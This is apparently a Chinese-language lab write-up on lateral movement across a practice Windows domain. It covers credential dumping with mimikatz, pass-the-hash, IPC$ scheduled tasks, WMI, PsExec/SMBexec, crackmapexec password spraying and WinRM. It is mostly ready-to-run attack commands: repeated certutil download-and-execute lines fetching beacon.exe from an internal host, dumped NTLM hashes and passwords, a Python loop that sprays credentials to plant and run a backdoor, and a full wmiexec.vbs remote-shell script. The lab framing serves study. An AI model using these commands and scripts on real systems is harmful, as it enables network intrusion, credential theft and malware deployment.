横向移动

横向移动

IPC

横向移动之前

靶场学习

拓扑图

image-20240913221753133

信息收集

cs上线webserver

image-20240913222219986

先看下他是不是内网用户

shell net user /domain

image-20240913222353463

且域内用户:

Administrator            boss                     dbadmin                  
debian devadmain fedora
fileadmin Guest hr
itadmin jenkins kali
klion klionsec krbtgt
logers logtest mack
mary SM_6ef9b5ce414946ae9 SM_c330a5709f6a478b8
SM_d3853544b62a421fb SM_d80bb46e75164f258 vpnadm
webadmin

且 域控:

OWA2010CN-God.god.org

ping命令确定域控

shell ping OWA2010CN-God.god.org

image-20240913223015766

域控ip:

192.168.3.21

cs端口扫描一下

image-20240913223126521

image-20240913223201437

image-20240913224717664

192.168.3.30不知道为什么没有扫出来

问题不大

提权

cs简单提下权

因为这里重点是学习横向移动 所以提权就简单一点

总之就是要拿到system权限

image-20240913223416126

image-20240913223435076

提权成功

image-20240913223502856

因为是本地靶场 就不权限维持了

凭证抓取

为了更好的在域内进行横向渗透

我们需要抓取凭证

这里使用cs抓

用system的权限抓

image-20240913224250200

抓取hash和抓取明文密码都可以

他们调用的都是猕猴桃工具–mimikatz

image-20240913224417639

抓到

image-20240913224450585

把hash也抓了

image-20240913224534560

不管是抓到明文密码还是hash都是可以进行传递的

IPC横向移动

做好了前面的一系列前置操作后

我们就可以对域控进行攻击了

这里我们用到的是IPC横向移动

IPC(Inter-Process Communication)协议是指用于不同进程之间进行通信和数据交换的协议。在操作系统中,进程是指正在运行的程序的实例。进程可以是同一应用程序的不同实例,也可以是不同应用程序之间的独立实例。进程之间的通信是实现多任务、协作和数据交换的关键。

IPC协议提供了一套规范和机制,使不同进程能够安全、可靠地进行通信。它允许进程之间共享数据、传递消息、进行同步操作等。常见的IPC协议包括以下几种:

  • 管道(Pipe):管道是一种半双工的通信机制,可用于在父子进程或者兄弟进程之间进行通信。在Unix和Linux系统中,管道可以通过创建一个管道文件描述符来实现进程间通信。

  • 命名管道(Named Pipe):命名管道是一种有名的管道,它允许无亲缘关系的进程进行通信。命名管道在文件系统中有一个唯一的名字,进程可以通过该名字打开和使用管道进行通信。

  • 消息队列(Message Queue):消息队列是一种按照消息进行通信的机制。进程可以将消息发送到消息队列中,其他进程可以从队列中接收和处理消息。消息队列通常具有先进先出的特性,并提供了一种异步通信的方式。

  • 共享内存(Shared Memory):共享内存允许不同进程访问同一块内存区域,从而实现高效的数据共享。多个进程可以将共享内存映射到各自的地址空间中,以便直接读写共享数据,避免了数据复制和传输的开销。

  • 套接字(Socket):套接字是一种网络编程中常用的IPC机制,它允许不同主机上的进程进行网络通信。套接字提供了一种可靠的、面向连接的通信方式,可以通过TCP或UDP协议在网络中传输数据。

  • 信号量(Semaphore):信号量是一种用于同步进程的机制,它可以用来保护共享资源,控制进程的访问顺序,以及实现进程间的互斥和同步操作。

总之我们可以通过IPC 对目标发起一个管道链接 我们可以通过这个管道链接对目标进行一些操作

使用流程

  • 建立IPC连接到目标
  • 拷贝要执行的木马到目标主机
  • 执行木马(计划任务)
  • 删除IPC

建立IPC连接到目标

at计划任务打DC

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接  这里的用户密码都是webserver的

copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器

net time #获取服务器时间

at \\192.168.3.21 20:42 c:\beacon.exe #添加计划任务

connect 192.168.3.21 4444 #正向连接木马

schtasks计划任务打DC

net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接:

copy beacon.exe \\192.168.3.32\c$ #复制文件到其C盘

schtasks /S 192.168.3.32 /U administrator /P Admin12345 /Create /TN beacon /TR 'c:\beacon.exe' /SC once /f #创beacon任务对应执行文件

schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务

schtasks /delete /s 192.168.3.21 /tn beacon /f #删除beacon任务

建立IPC连接

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

image-20240913230822560

看下连没连上

shell net use

image-20240913231051692

但是现在我们是不能直接用木马让DC连接到kali

因为DC不出网

但是DC是可以和webserver正常通信的

所以我们要用webserver主机作为跳板 让DC连接它 再间接连接到我们的卡kali

新建一个正向监听

image-20240913231625318

生成木马

image-20240913231747535

注意这里要生成无状态可执行程序

区分:

无状态可执行程序–>unstager

可执行程序–>stager

stager:

首先生成的paylod为stager,是一个小程序,通常是手工优化的汇编指令,用于远程下载一个 payload stage,将其注入到当前被执行服务器内存,对其传达指令

靶机向cs服务器发送了一个下载请求,请求下载真正的payload

unstager:

unstage为部分阶段的payload,所有指令都集成到了里面

它生成一个叫beacon.exe,双击运行后我们并不会在Web日志中看到任何请求信息。因为unstage会将所有的利用代码一开始就集中到了beacon.exe

拷贝要执行的木马到目标主机

IPC连接拷贝

先把我们的beacon.exe弄到webshell主机上

image-20240913233128492

然后用命令拷贝

copy beacon.exe \\192.168.3.21\c$

拷到C盘

当然 也可以加上路径

image-20240913233605428

计划任务执行木马

正向连接上线

首先我们需要获取一下服务器的时间

shell net time

image-20240913234330462

根据时间

我们添加一下计划任务

shell at \\192.168.3.21 20:42 c:\beacon.exe

image-20240913234756570

等待计划任务执行

因为我们开的的正向连接的木马 所以我们要用webserver去绑定4444端口

connect 192.168.3.21 4444

image-20240913235545753

直接上线

反向连接上线

当然因为webserver和DC是互通的

我们也可以用反向连接

webserver的system权限转发上线来建监听器

image-20240914000023637

配置一下

image-20240914000139829

生成木马并上传到webserver

image-20240914000222642

image-20240914000337771

IPC拷贝过去

shell copy fx.exe \\192.168.3.21\c$

image-20240914000816911

计划任务执行一下

环境问题 这里我没有上线成功

但是是可以上线的

插件IPC移动

image-20240914004111192

插件内置了IPC移动

拿下DC后就可以随便打了

这里我们打一下marry–>192.168.3.25

image-20240914004331496

连接建立成功

image-20240914004420936

IPC常见报错

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
(4)67:找不到网络名(本地主机中lanmanworkstation服务未启动或者目标主机删除了ipc$)。
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

套件-impacket-ipc

本身它需要有python环境才能执行

这里我们用魔改版

image-20240914005539046

里面有很多exe程序

我们用第一个就行

先把文件传到webserver上去

image-20240914005749139

使用命令

CS本地用户明文连接:

shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

CS域内用户明文连接:

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"

CS域内本地用户明文密文连接:

本地用户hash传递
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

域用户hash传递
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

这里的第二个.表示本地 如果是域的话要用域名

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"

image-20240914010017769

根据命令

我们抓到的hash也是可以传递执行命令的

image-20240914010230317

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

image-20240914010616672

工具生成一下命令

image-20240914010955504

随便找个cmd的命令

这个dc.exe是一个基于DC的反向连接的木马

将whoami换成我们生成的命令

image-20240914011143184

成功

image-20240914011214951

执行木马

image-20240914011315563

上线

image-20240914011344330

这也就是IPC通过web下载文件的形式来进行横向移动

但是他也有弊端

1.上传套件–套件比较大–容易被杀软识别

2.使用python脚本–可能目标没有python环境

解决:

socks代理

使用socket节点可实现无文件落地

在webserver与本地上建立socket节点 这样本地就会映射到webserver 那么就意味着我们无需将我们需要的文件放到域内 就可以使用

image-20240914012218846

配置一下

image-20240914012253979

proxifier连接

image-20240914013644894

image-20240914013556965

这里的ip是kali的ip

再建立一个CS新规则

image-20240914013722338

image-20240914013746857

任何只要是192.168.3的都会把流量转发到192.168.10.172代理服务器

这样本地就可以直接访问内网了

image-20240914013955337

这样的话我们就可以直接在本地执行套件了

找到刚才那个exe的python脚本

python atexec.py god/administrator:Admin12345@192.168.3.32 "whoami"

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

image-20240914014226811

成功

python脚本批量执行下载木马并执行

import os,time

ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}

users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'itadmin',
'jack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin!@#45'
'Admin12345'
}


def xz():#下载后门
for ip in ips:
for user in users:
for mima in passs:
exec1='E:\SOFT\Python38\python.exe C:\Users\yh\Desktop\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
exec2='E:\SOFT\Python38\python.exe C:\Users\yh\Desktop\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
#exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
print('--->'+exec1+'<---')
print('--->' + exec2 + '<---')
os.system(exec1)
os.system(exec2)

def zx():#执行后门
for ip in ips:
for user in users:
for mima in passs:
#exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
exec1 = 'D:\Myproject\\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\\atexec.py ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
exec2 = 'D:\Myproject\\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
#exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
print('--->' + exec1 + '<---')
print('--->' + exec2 + '<---')
os.system(exec1)
os.system(exec2)

if __name__ == '__main__':
xz()
# zx()

WMI

WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的windows管理技术。从Windows 98开始,windows操作系统都支持WMI。用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component Object Model)和windows远程管理(Windows Remote Management,WinRM),使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等都可以远程执行

利用WMI进行横向移动需要具备以下条件:

  • 1、远程主机的WMI服务为开启状态(默认开启)
  • 2、远程主机防火墙放行135端口,这是WMI管理的默认端口

支持明文以及hash利用

不会再目标的系统日志留下痕迹

WMI命令是没有回显的

环境还是IPC的那个环境

具体渗透就不多说了

总之用CS上线system权限

image-20240914123931816

DC:192.168.3.21

其他3网段都是域内主机

命令执行

因为WMI是windows主机自带的

所以我们不需要向目标上传任何额外文件

可以直接执行命令

查进程

wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process list brief

下载木马

wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

执行木马

wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe c:/beacon.exe"

image-20240914125844816

CS上线

解决WMI无回显:

可以将执行结果写入文件,然后建立IPC连接来远程读取

结果写入文件

wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process call create "cmd.exe /c ipconfig > c:\result.txt"

建立IPC

net use \\192.168.52.138\ipc$ hongrisec@2024. /user:god\liukaifeng0

读文件

type \\192.168.52.138\c$\result.txt

或者将木马传输和执行一起执行 看上不上线

套件执行

我们在IPC用到impacket套件也是支持WMI的

image-20240914130139204

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"

image-20240914130555126

socks代理会更快点

这也是socks代理的优势

image-20240914130730853

插件执行

cs本身是可以进行横向移动的

目标列表中

image-20240914131230726

image-20240914131304662

WMI也是被插件支持的

image-20240914131152226

image-20240914131643474

两个都差不多

脚本执行

脚本如下

命名成wmiexec.vbs

On Error Resume Next
'################################ Temp Result File , Change it to where you like
Const Path = "C:\"
Const FileName = "wmi.dll"
Const timeOut = 1200
'################################
file = Path & "\" & FileName
file = Replace(file,"\\","\")
Set fso = CreateObject("Scripting.FileSystemObject")
FilePath = fso.GetParentFolderName(file) 'for wmi create share
'WScript.Echo FilePath

WAITTIME = timeOut 'ms time to execute command ,read result file after 1200ms

Set objArgs = WScript.Arguments
intArgCount = objArgs.Count
If intArgCount < 2 Or intArgCount > 5 Then
WScript.Echo
WScript.Echo " $$\ $$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ "
WScript.Echo " $$ | $\ $$ |$$$\ $$$ |\_$$ _|$$ _____|$$ | $$ |$$ _____|$$ __$$\ "
WScript.Echo " $$ |$$$\ $$ |$$$$\ $$$$ | $$ | $$ | \$$\ $$ |$$ | $$ / \__|"
WScript.Echo " $$ $$ $$\$$ |$$\$$\$$ $$ | $$ | $$$$$\ \$$$$ / $$$$$\ $$ | "
WScript.Echo " $$$$ _$$$$ |$$ \$$$ $$ | $$ | $$ __| $$ $$< $$ __| $$ | "
WScript.Echo " $$$ / \$$$ |$$ |\$ /$$ | $$ | $$ | $$ /\$$\ $$ | $$ | $$\ "
WScript.Echo " $$ / \$$ |$$ | \_/ $$ |$$$$$$\ $$$$$$$$\ $$ / $$ |$$$$$$$$\ \$$$$$$ |"
WScript.Echo " \__/ \__|\__| \__|\______|\________|\__| \__|\________| \______/ "
WScript.Echo " v1.1dev By. Twi1ight "
WScript.Echo " Usage:" & _
vbTab & "wmiexec.vbs /shell host" & _
vbNewLine & vbTab & "wmiexec.vbs /shell host user pass" & _
vbNewLine & vbTab & "wmiexec.vbs /cmd host command" & _
vbNewLine & vbTab & "wmiexec.vbs /cmd host user pass command" & vbNewLine & _
vbNewLine & vbTab & " /shell" & vbTab & "half-interactive shell mode" & _
vbNewLine & vbTab & " /cmd" & vbTab & vbTab & "single command mode" & _
vbNewLine & vbTab & " host" & vbTab & vbTab & "hostname or IP address" & _
vbNewLine & vbTab & " command" & vbTab & "the command to execute on remote host" & _
vbNewLine & vbNewLine & vbTab & " -waitTIME" & vbTab & _
"[both mode] ,delay TIME to read result,"& vbNewLine & vbTab & _
vbTab & vbTab &"eg. 'systeminfo -wait5000' 'ping google.com -wait2000'" & _
vbNewLine & vbTab & " -persist" & vbTab & _
"[both mode] ,running command background and persistent" & vbNewLine & vbTab & _
vbTab & vbTab &"such as nc.exe or Trojan"
WScript.Quit()
End If

If LCase(objArgs.Item(0)) <> "/cmd" And LCase(objArgs.Item(0)) <> "/shell" Then
WScript.Echo "WMIEXEC ERROR: Wrong Mode Specified!"
WScript.Quit
End If
boolShellMode = True
If LCase(objArgs.Item(0)) = "/cmd" Then boolShellMode = False
If boolShellMode = False Then command = objArgs.Item(intArgCount - 1)

host = objArgs.Item(1)
If intArgCount > 3 Then
user = objArgs.Item(2)
pass = objArgs.Item(3)
Set objShell = CreateObject("WScript.Shell")
strNetUse = "cmd.exe /c net use \\" & host & " """ & pass & """ " & "/user:" & user
'WScript.Echo strNetUse
objShell.Run strNetUse,0
End If
'Output Status
WScript.Echo "WMIEXEC : Target -> " & host
WScript.Echo "WMIEXEC : Connecting..."

Set objLocator = CreateObject("wbemscripting.swbemlocator")
If intArgCount >2 Then
set objWMIService = objLocator.connectserver(host,"root/cimv2",user,pass)
Else
Set objWMIService = objLocator.ConnectServer(host,"root/cimv2")
End If
If Err.Number <> 0 Then
WScript.Echo "WMIEXEC ERROR: " & Err.Description
WScript.Quit
End If
WScript.Echo "WMIEXEC : Login -> OK"
WScript.Echo "WMIEXEC : Result File -> " & file

boolPersist = False
'Create Share
CreateShare()
CurrentFolder = Null
'-----single Command mode------
If boolShellMode = False Then
WAITTIME = 5000
WScript.Echo vbNewLine & vbTab & host & " >> " & command
boolGetFolder = False
strResult = PhraseCmd( command )
'WScript.Echo strResult
If strResult = "persist" Then
boolPersist = True
Exec command,"nul"
Else
Exec command, file
ReadResult()
End If
If intArgCount > 3 Then
Set objShell = CreateObject("WScript.Shell")
strNetUse = "cmd.exe /c net use \\" & host & " /del"
objShell.Run strNetUse,0
End If
DeleteShare()
WScript.Quit
End If
'------------------------------

'++++++++shell mode++++++++++++
'get current working directory
boolGetFolder = True
CurrentFolder = Exec("cd", file)

'WScript.Echo CurrentFolder
Do While True
boolPersist = False
WAITTIME = timeOut
wscript.stdout.write(CurrentFolder & ">")
command = wscript.stdin.ReadLine
'press 'Enter' directorly
Do While command = ""
wscript.stdout.write(CurrentFolder & ">")
command = wscript.stdin.ReadLine
Loop
If LCase(Trim(command)) = "exit" Then Exit Do
'If Not IsEmpty(command) Then
'process 'cd' command-------->>>>
strResult = PhraseCmd( command )
If strResult = "cd" Then
command = command & " & cd "
boolGetFolder = True
DestFolder = Exec(command, file)
If CurrentFolder = DestFolder Then
WScript.Echo "The system cannot find the path specified."
Else
CurrentFolder = DestFolder
End If
ElseIf strResult = "persist" Then
boolPersist = True
'WScript.Echo "persist"
Exec command,"nul"
'##########################################toDo
'-----------<<<<
Else
On Error Resume Next
err.clear
Exec command, file
ReadResult()
If err.number <> 0 Then wscript.echo( "WMIEXEC ERROR: " & Err.Number & " " & err.description)
Err.Clear
On Error Goto 0
End If
loop

strDelFile = "del " & file & " /F"
Exec strDelFile,"nul"
If intArgCount > 3 Then
Set objShell = CreateObject("WScript.Shell")
strNetUse = "cmd.exe /c net use \\" & host & " /del"
objShell.Run strNetUse,0
End If
DeleteShare()

'#####################################
Function PhraseCmd(cmd)
PhraseCmd = False ' not 'cd'
arrCommand = Split(cmd)
strExe = arrCommand(0)
If LCase(Trim(strExe)) = "cd" Or LCase(Trim(strExe)) = "cd.exe" Then PhraseCmd = "cd" ' is 'cd'
Set regEx = New RegExp
regEx.Pattern = "^[a-z]:$"
regEx.IgnoreCase = True
Set Matches = regEx.Execute(cmd)
If Matches.Count <> 0 Then PhraseCmd = "cd" ' is 'd:'
'phrase time command
regEx.Pattern = "(.*?)-wait(\d+)"
regEx.IgnoreCase = True
Set Matches = regEx.Execute(cmd)
If Matches.Count <> 0 Then
Set objMatch = Matches(0)
command = objMatch.SubMatches(0)
'WScript.Echo "Command :" & command
WAITTIME = CInt(objMatch.SubMatches(1))
WScript.Echo "WMIEXEC : Waiting " & WAITTIME & " ms..." & vbNewLine
End If
'phrase persist command
regEx.Pattern = "(.*?)-persist"
regEx.IgnoreCase = True
Set Matches = regEx.Execute(cmd)
If Matches.Count <> 0 Then
Set objMatch = Matches(0)
command = objMatch.SubMatches(0)
PhraseCmd = "persist" ' is quiet
End If
End Function

Function CreateShare()
'create share
Set objNewShare = objWMIService.Get("Win32_Share")
intReturn = objNewShare.Create _
(FilePath, "WMI_SHARE", 0, 25, "")
If intReturn <> 0 Then
WScript.Echo "WMIEXEC ERROR: Share could not be created." & _
vbNewLine & "WMIEXEC ERROR: Return value -> " & intReturn
Select Case intReturn
Case 2
WScript.Echo "WMIEXEC ERROR: Access Denied!"
Case 9
WScript.Echo "WMIEXEC ERROR: Invalid File Path!"
Case 22
WScript.Echo "WMIEXEC ERROR: Share Name Already In Used!"
Case 24
WScript.Echo "WMIEXEC ERROR: Directory NOT exists!"
End Select
If intReturn <> 22 Then WScript.Quit
Else
WScript.Echo "WMIEXEC : Share created sucess."
WScript.Echo "WMIEXEC : Share Name -> WMI_SHARE"
WScript.Echo "WMIEXEC : Share Path -> " & FilePath
End If
End Function

Function DeleteShare()
Set colShares = objWMIService.ExecQuery _
("Select * from Win32_Share Where Name = 'WMI_SHARE'")
For Each objShare In colShares
intReturn = objShare.Delete
Next
If intReturn <> 0 Then
WScript.Echo "WMIEXEC ERROR: Delete Share failed." & _
vbNewLine & "WMIEXEC ERROR: Return value -> " & intReturn
Select Case intReturn
Case 2
WScript.Echo "WMIEXEC ERROR: Access Denied!"
Case 25
WScript.Echo "WMIEXEC ERROR: Share Not Exists!"
End Select
Else
WScript.Echo "WMIEXEC : Share deleted sucess."
End If
End Function

Function Exec(cmd, file)
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 12

Set objProcess=objWMIService.get("Win32_Process")
strExec = "cmd.exe /c " & cmd & " > " & file & " 2>&1" '2>&1 err
If boolPersist Then
strExec = cmd
intPath = InStr(cmd,"\")
If intPath = 0 Then strExec = CurrentFolder & "\" & strExec
End If
'WScript.Echo strExec
intReturn = objProcess.Create _
(strExec, CurrentFolder, objConfig, intProcessID) 'Add CurrentFolder (strExec, Null, objConfig, intProcessID)
If intReturn <> 0 Then
WScript.Echo "WMIEXEC ERROR: Process could not be created." & _
vbNewLine & "WMIEXEC ERROR: Command -> " & cmd & _
vbNewLine & "WMIEXEC ERROR: Return value -> " & intReturn
Select Case intReturn
Case 2
WScript.Echo "WMIEXEC ERROR: Access Denied!"
Case 3
WScript.Echo "WMIEXEC ERROR: Insufficient Privilege!"
Case 9
WScript.Echo "WMIEXEC ERROR: Path Not Found!"
End Select
Else
' WScript.Echo "Process created." & _
' vbNewLine & "Command: " & cmd & _
' vbNewLine & "Process ID: " & intProcessID
If boolPersist Then WScript.Echo "WMIEXEC : Process created. PID: "& intProcessID
If boolGetFolder = True Then
boolGetFolder = False
Exec = GetCurrentFolder()
Exit Function
End If
'ReadResult()
End If
End Function

Function ReadResult()
WScript.Sleep(WAITTIME)
UNCFilePath = "\\" & host & "\" & "WMI_SHARE" & "\" & FileName
Set fso = CreateObject("Scripting.FileSystemObject")
Set objFile = fso.OpenTextFile(UNCFilePath, 1)
If Not objFile.AtEndOfStream Then strContents = objFile.ReadAll
objFile.Close
WScript.Echo strContents
'fso.DeleteFile(UNCFilePath) win2008 fso has no privilege to delete file on share folder
strDelFile = "del " & file & " /F"
Exec strDelFile,"nul"
End Function

Function GetCurrentFolder()
WScript.Sleep(WAITTIME)
UNCFilePath = "\\" & host & "\" & "WMI_SHARE" & "\" & FileName
Set fso = CreateObject("Scripting.FileSystemObject")
Set objFile = fso.OpenTextFile(UNCFilePath, 1)
GetCurrentFolder = objFile.ReadLine
objFile.Close
strDelFile = "del " & file & " /F"
Exec strDelFile,"nul"
End Function

把脚本上传到目标服务器

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

image-20240914132534035

可以看到会生成一个交互式shell 且与3.21(DC)交互

有一个问题就是CS不支持交互式shell

所以这个脚本利用面比较窄

kali自带pth执行

工作组环境下(本地管理员):

pth-winexe -U administrator%Aatest --system --ostype=1 //192.168.3.90 cmd

image-20240914133847869

域环境下(域管用户):

pth-winexe -U ggyao/administrator%Aatest --system --ostype=1 //192.168.3.90 cmd

image-20240914133930069

SMB

SMB是文件共享服务 通过445端口进行的

image-20240918182113450

可以直接用CS的端口扫描看下445端口开没开

image-20240918182221751

同样 它也是支持hash和明文传递的

psexec

PsExec是微软官方提供的一个Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性

PsExec的原理是通过SMB连接到服务端的Admin$共享,并释放名为”psexecsvc.exe”的二进制文件,然后注册名为”PSEXECSVC”服务。当客户端执行命令时,服务端通过PSEXECSVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXECSVC服务会被删除。

使用PSEXEC进行远程操作需要以下条件:

1、远程主机开启了Admin$共享

2、远程主机未开启防火墙或放行了445端口

用微软自带工具 可以绕过免杀

PStools

直接到微软官网上去下就行

image-20240918182618330

因为它也是shell的形式

用CS不太行

所以我们用socks节点打过去

psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

image-20240918183243824

impacket套件

image-20240918184038910

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

psexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.32

还是走socks代理比较好

我这里好像代理一直有点问题

一直拒绝访问

但是命令是没问题的

image-20240918184234171

呃 又好了

image-20240918184436101

SMBexec

同样是用impacket中的来

里面有一个SMBexec

smbexec ./administrator:admin!@#45@192.168.3.32

smbexec god/administrator:Admin12345@192.168.3.32

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32

smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32

image-20240918185242679

只要能执行命令,那么就可以通过下载执行木马的形式执行对应的木马

密码喷洒

尝试使用已经获取的hash已经明文密码,对于域内所有主机进行相应的登录尝试 这就是密码喷洒

工具:

crackmapexec

下载命令

apt-get install crackmapexec

linux代理

需要下载proxychain

apt install proxychains

image-20240918190902840

好 然后我们需要配置一下

proxychains ping www.baidu.com

image-20240918191139602

找到配置文件地址

/etc/proxychains.conf

编辑

vi /etc/proxychains.conf

image-20240918191400753

这里是127.0.0.1是因为我们CS服务端在本地

而win下的配置是我kali的IP

我们把它的端口改成CS的socks代理的端口

然后就可以来下载crackmapexec

image-20240918194113112

crackmapexec -h

image-20240918194600320

工具使用

密码喷洒域登录

crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45'

但是我们不能直接在kali上用

因为kali和域内主机不在同网段连不上

所以我们必须用socks代理

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45'

这样就行

image-20240918202254922

登不上去

本地登录

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth

多了一个–local-auth

image-20240918202202687

登录成功会有这个绿色的+

本地登录执行命令

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth

多了一个-x 'whoami'

image-20240918202508005

他会在最后把所以能执行命令的主机的执行结果汇总

本地登录命令执行上线

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'certutil -urlcache -split -f http://192.168.3.31/xxx.exe & c:/4455.exe' --local-auth

就是把whoami改成一个下载命令再执行

也可进行爆破

就是把-u 和-p后面跟上字典就像

密码喷洒域登录命令执行上线

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'

少了一个–local-auth

密码喷洒本地&域登录命令执行全自动上线:

proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'

本地

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth

WinRM

WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。

作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。

WinRM: windows远程管理,是一种允许管理员远程执行系统管理任务的服务

2008 以上 默认是自动 Win7以上手动启动

win 2012 默认都是允许远程任意主机进行管理

查询本机的WinRM状态:

powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

开启WinRM服务:

winrm quickconfig -q    #自动添加防火墙例外规则,放行5985端口。

winrm set winrm/config/Client @{TrustedHosts="*"}

扫描一下5985端口

image-20240925232433383

image-20240925232538267

也就是DC、webserver、sqlserver三台主机开了5985端口

Windows远程管理工具提供了两个命令行工具用于远程管理

  • Winrs,允许远程执行命令的命令行工具,利用WS-Management协议

  • Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务

Winrs

所以执行命令:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami

winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

咦 CS报错

image-20240925233032029

排查了很久

感觉可能是shell的问题

但是在主机内是可以执行的

image-20240925233129350

那我们用cmd就行

也就是cs转给msf

在msf里shell

然后运行cmd

在cmd里执行命令就行

既然可以执行任意命令 那么我们就可以让他远程下载木马并执行 这样就可以上线了

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:\beacon.exe & c:\beacon.exe"

image-20240925233901855

把生成的正向木马放到webserver的目录里

image-20240925234046683

执行命令

image-20240925234218444

sqlserver已下载beacon.exe并成功执行

image-20240925234310415

上线了就简单了

因为是正向连接 所以我们要绑定一下端口

image-20240925234430309

然后就会上线了

cs本身可以直接WinRM

image-20240925234650300

Winrm

生成一个计算器

shell winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:192.168.30.10 -u:Administrator -p:uu2fu3o@admin

当然也可以生成服务

#生成名为test的服务
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\windows\system32\calc.exe"} -r:http://192.168.30.10:5985 -u:Administrator -p:uu2fu3o@admin

远程调用该服务

